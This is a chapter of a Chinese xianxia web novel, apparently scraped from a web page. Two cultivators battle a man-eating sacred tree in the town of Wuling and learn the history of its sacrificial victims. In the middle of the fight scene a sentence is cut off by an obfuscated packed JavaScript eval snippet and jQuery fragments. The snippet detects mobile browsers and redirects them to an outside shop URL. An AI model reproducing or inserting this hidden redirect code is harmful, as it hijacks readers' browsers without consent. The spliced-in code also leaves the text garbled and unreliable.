在前往武陵的路上，玉云英曾对他说过青山派与武陵城的旧怨。


    因武陵城当时并未在仙盟庇护之下，青山派撕下保护者的面具，秘密派遣数位修士强占武陵，夺取灵矿。


    此等绝密情报，却堂而皇之地出现在仙盟盟主的案头。盟主知晓后大惊，急急派人前往调解。


    可是谁知，当仙盟的使者到达后，只见青山派众人满脸阴沉，而武陵城依旧和从前一样歌舞升平，仿佛从未出现过之前的龌龊。


    “那些青山派的修士呢？”叶轻舟问。


    玉云英叹道：“当年的武陵城主说，外乡人不敬神树，已遭天谴。青山派长老不服，坚称他们被武陵人害死，仙盟使者为调查真相请出了阴阳镜与四灵罗盘，结果却是……”她自己也难以相信即将说出口的话，“青山派那些修士在接近神树后，居然自觉停下脚步，一同离开了武陵，走向茫茫深山之中，再也寻不得一丝一毫的踪影。”


    叶轻舟微微张大嘴，“那去山里找了吗？”


    “自然，可是山间既无人影，也无尸首，什么都没有留下。”玉云英道：“此后，武陵城虽同意归属仙盟而非魔界，也同意各方修士前来，唯独一条，不可对他们的神树不敬。”


    她仔细叮嘱道：“待会进城，记得小心。”


    *


    抱歉啊师姐，我已经够小心了。


    叶轻舟甩出符纸，藤蔓炸开后爆出黏液，烧得泥土滋滋作响。


    他自从见到那个小女孩后，脑子就被强行塞入万人大合唱，要不是他机智聪明让系统魔音对轰，恐怕他现在已经被这东西卷成肥料团吧团吧吃了。


    “什么等不等的，当谜语人是要遭天谴的！”叶轻舟双手掐诀，引来落雷，又啪啪几张燃烧符打过去，自己腾空俯览地形，抢占制空权。


    孟十八是不是也遭遇了这些东西，也不知她现在如何？叶轻舟戳开系统，“系统，这boss的弱点在哪？抗性是什么？我队友呢？”地图功能居然因为战斗而锁定了，该死。


    【沉于旧日之梦·融合之木（分枝）】


    【区域任务：何为桃源，已开启，欢迎用户探索完成】


    “啥？这还是个地图任务？你不说这是主线吗？”叶轻舟大喊道，“系统你把话说清楚！喂！”


    系统选择在他脑子里装死，原本在地上的藤蔓倒是越长越高，隐隐有牵扯他的可能。


    我又不是莴苣公主，叶轻舟将定型阵拍过去，又从自己的储物袋里拎出一瓶改良版枯草剂，直接一个猛扎子降落就往地上倒。


    这一倒还真让他发现了新的东西，巨型藤蔓原先像打地鼠一样到处扎洞生长，结果被他这么一折腾，地上反倒空出几个洞，隐约能听到什么。


    咚咚，咚咚。


    “来活咯。”叶轻舟在自己的储物袋里一阵找，他也不是白做这么多年的后勤，妙妙工具应有尽有。


    “就是你了。”他拿出一个小型法器，嵌上灵石，“给我挖！”


    法器逐渐变形膨胀，竟然变成了一台挖掘机。


    这妖邪藤蔓如有神智，怎么可能会轻易束手就擒，粗如臂膀的藤蔓铺天盖地席卷而来，竟是准备活活将叶轻舟困死在此。


    叶轻舟反手散出燃烧符，可是这玩意居然……“失效了？”他愣了一下，“这东西还会进化？”


    只见原先能烧断藤蔓的灵火如今只能烧去薄薄一层，叶轻舟步伐转化，准备土遁溜走，可他忘了土地并不是自己的主场，而是对方的老巢。


    “系统，有没有存档？我要传送，快点！”


    难道他就要殒身于此了吗？


    等等，叶轻舟忽然一顿，随着挖掘机越挖越深，他听到的声音也越来越清晰。


    咚咚——咚咚咚——


    这意味的是，叶轻舟眼睛一亮，“困阵，起！”


    “咔嚓”


    一道剑光闪过，藤蔓发出非人的哀嚎，叶轻舟猛然睁大眼睛，熟悉的身影挡在他面前。


    “孟十八！”


    “叶轻舟，跟我走。”


    来者正是孟十八，只见她手持利剑，率先开路，叶轻舟不假思索，立即跟上，二人直直飞了不知多久，孟十八才从空中降下。


    “孟十八，你怎么……”叶轻舟刚从生死边缘走一遭，心里不知装了多少话，可一见到孟十八，脱口而出的却是，“你……你受伤了？”他从储物袋里拿出药瓶递过去，和以往无数次一样，“那些东西就是所谓的神树，我们接下来怎么办？”


    孟十八伸手掐住他的脉搏，叶轻舟不明所以，也不反抗，任由对方探查自己的经脉，嘴里碎碎念叨着自己一路的经历。


    “去鬼村。”孟十八松开手，示意他先处理自己的伤口，淡淡道。


    鬼村当然没有鬼。


    它甚至不能算一个村庄。


    如果说武陵城是一个没有生老病死的人间天堂，那么鬼村就是角落里承受一切肮脏的垃圾厂。没有阳光，没有笑容，只有一个个骨瘦嶙峋的“鬼”，他们有的眼神空洞，呆呆坐在一边不言不语，有的状若癫狂，肆无忌惮地奔跑又跌倒，有的只是沉默，观察着外来者。


    这里没有一丝绿色，没有树木，没有花草，甚至墙壁上的青苔都被铲得干干净净。


    孟十八习惯性走在前面，回到阴影里反而让她觉得轻松，不必担心暴露，而且比起诡异幸福的武陵，她更习惯这里。


    “许方沐。”她停在那位挣扎着又想奔向结界外的疯子，那疯子看上去也不过二十出头，连头发丝都沾满了污泥，嘴巴里只能发出如野兽般嗬嗬的威胁。


    “许怀清让我找你。”


    疯子——许方沐安静了下来，野兽因为一个名字而重新成为人。


    “她……她……”他直直地盯着孟十八，声音粗粝，“她还活着吗？”


    孟十八点头，“她托我带句话，要你省点力气，好钢用在刀刃上。”


    “哈哈……”许方沐笑得咳嗽不止，“还真是她能说出来的……为什么……为什么……”


    “为什么要我一人留在这里！”


    “为什么不让我去死……为什么……为什么啊……”


    叶轻舟悄悄挪到边上，询问系统：“这里总没有传送点了吧？”


    系统不语，只是一味更新地图。


    【武陵地图·里世界，已解锁】


    【用户可以继续探索】


    没招了，叶轻舟放弃查看，他不如去整理自己的储物袋，孟十八的衣服都脏成那样了也该换下来洗洗。


    这厢叶轻舟自娱自乐，那边许方沐嚎啕许久发泄够了，才哑着声音道：“你想问什么，尽管说吧。”


    孟十八直截了当问道：“怎么打败那棵树？”


    *


    祂想吞噬她。


    在最初的怔愣后，孟十八敏锐地看到女孩脸上蠕动的青筋，不断变化出各种表情。


    模仿、学习。


    祂在进化。


    剑出，落在地上的不是血，而是绿色的汁液。


    孟十八手燃灵火，烧向祂的眼睛，同时剑气一挥，震断四周的围墙。


    无数双眼睛看向她，从脸上，从地上，从天上。


    无数种声音在她脑子里炸响：


    “好熟悉……好熟悉的感觉……”


    “合而为一……与我们一起……”


    “成为我们……成为我们……”


    “你是谁……好温暖……好想要……”


    “更多……更多……”


    孟十八咬破手指，以血结印，剑上同样燃起魔火。


    “去！”


    一声轻喝，万道烈焰竟是以她为中心，向四面八方无差别地攻击起来。


    烧断它们，孟十八眼瞳里映出熊熊火光，脚尖一点，直奔神树方向而去。


    她见到了神树。


    神树显然年岁悠久，粗壮得需要几人合抱，明明高耸入云，却完美隐秘存在，更怪异的是，孟十八一剑劈落花瓣，这怎么可能会开出桃花？


    脑海里的声音越来越吵，追向她的藤蔓越来越多，孟十八死死咬住嘴唇保持清醒，再次以血引诀，“焚尽！”


    痛苦的哀嚎几乎要掀翻她的脑袋，在至纯烈焰的灼烧下，郁郁葱葱的绿化为枯焦的黑色，树皮脱落，枝叶凋零，露出藏在大树深处的，莹莹发光的核心。


    她必须摧毁核心……孟十八举剑正要刺去，却被无形的屏障阻碍了脚步。


    只一瞬，局势忽变。


    神树竟是瞬间焕发新机，重新长出更加尖锐的枝丫，呼啸着向她袭来，风中都带着凌厉的剑气。


    祂居然还在进化。


    孟十八熟练地接下祂的每一招，因为那是她自己的剑术。


    祂改变了策略，不再一味置她于死地，而是像猫捉耗子般享受起追捕的过程，打定


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17169214|196813||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    主意拖住她的脚步，耗尽她的力气。


    孟十八同样意识到这点，眼下她只有两条路：逃出神树控制的武陵，或是……她打定主意，竟是将一身灵力灌注于剑上，直直地向核心的位置刺去。


    一道足以惊破天际的白光划过。


    冷冽的风，吹醒摇摇欲坠的人，孟十八睁开眼，疼痛席卷而来。


    “醒了吗？”一个好听的声音响起，杀手的本能让她制住那只陌生的手，漆黑的眼睛里倒映出另一个人的身影。


    “我叫许怀清，你应该不是仙盟的人吧。”说话的女子青衣绿衫，簪发戴冠，一看就知道是仙界的修者，只是身形消瘦，原本白净的脸颊显得灰败。


    孟十八道：“这是哪里？”她没有松手，那东西善于化形，她不能掉以轻心。


    许怀清笑了笑，眉眼间带着如水般的温柔，“我们就在树里。”


    据她所言，孟十八那同归于尽的一剑并没有摧毁核心，但打开了一个足够让许怀清抓住她的缺口。


    “树里？”


    “正是，”许怀清没有挣扎，“若你不放心我的身份，可以看我的伤口，血是红色的。”


    孟十八蹙眉不语，和武陵人不同，许怀清体内只有微弱的灵力，她松开手又问：


    “核心在哪？”


    “树心在更深处，眼下不要轻举妄动。”许怀清从她的面容上读出情绪，劝道：“已经有人为此牺牲了。”


    许怀清不是第一批借道武陵的修士。


    按照仙盟与武陵的契约，持有通行令与仙盟路引的修士，可以借道武陵行向他方。许怀清出身剑宗，此次正是带领师妹们前去参加仙盟大比。谁知半路上才发现她那难缠的弟弟许方沐居然也在队伍里，还招惹了魔修，一行人只能改道解决争端，再想前去仙盟，只能过武陵城。


    恰巧，她们碰上了一年一度的武陵大典。盛情难却，面对众人满怀期待的眼神，没比她们年长几岁的许怀清哪里硬的下心肠，自然点头同意。剑宗的少年们顿时像放了风的风筝一样欢呼而散。


    “……那就是一场噩梦。”


    唯一没出门参加庆典的许怀清等到月上梢头，人声消散，也没有等到他们回来，传出去的通讯符也杳无音信，她不放心，带着剑出门去找。


    ——只来得及看见他们被作为祭品，被所谓的神树吞噬。


    没有丝毫犹豫，许怀清拔剑对上。


    武陵城的和平是一个巨大的谎言。他们供奉的神树实则是需要活祭的邪物。


    而他们这些修士，就是武陵选中的祭品，一代又一代，在夹缝中苟延残喘，寻找着反抗的机会。


    许怀清娓娓道来：“自最初的青山派修者到如今，我们损失惨重，但也在祂看不见的地方，建成了鬼村。”


    “你若是想了解更多，就去那里。”


    “五十年，”孟十八突然补充道：“今年会有仙盟大比，至少过去五十年了。”


    许怀清一愣，“五十年？”她喃喃，“竟然已经这么久了？”


    寻常修者生命也不过三百余年，五十年足够青丝染霜，少年衰老，曾经温柔的剑宗师姐，如今被磋磨成未被吞噬的祭品。


    可是有些东西是磨不去的，孟十八的目光划过她的眉眼，美人如玉亦如剑，风霜磨难只会把她锻炼得愈发锋利。


    “我失态了，”许怀清回过神来，笑了笑又继续道：“以神树为界，武陵被切为两部分，表层的安居乐业以及内在的阴暗。”


    “去找我那个弟弟吧，告诉他省点力气，不要总想着回树里见我。”


    女子笑意温和，语气坚定。


    “这是我的责任。”


    *


    “责任？！”许方沐狂笑起来，“明明是我的错！是我没有拒绝！是我害了她们！为什么要我活着！一无是处地活着！”


    “因为她爱你啊。”叶轻舟实在看不下去，接话道：“因为你姐姐爱你啊，你如果真的想弥补错误，就快点告诉我们该怎么铲除那个怪物，早点把你姐姐救出来。”


    “救……”许方沐喉咙里漏出古怪的笑声，“唯一杀死祂的机会在庆典，只有那时候祂会毫无保留地展露核心吞噬祭品。”


    祭品……叶轻舟想起陶管家当时殷切邀请他们去看典礼，莫非就是打着让他们当祭品的主意？


    糟糕！


    叶轻舟脸色煞白：“师姐还在他们手上！”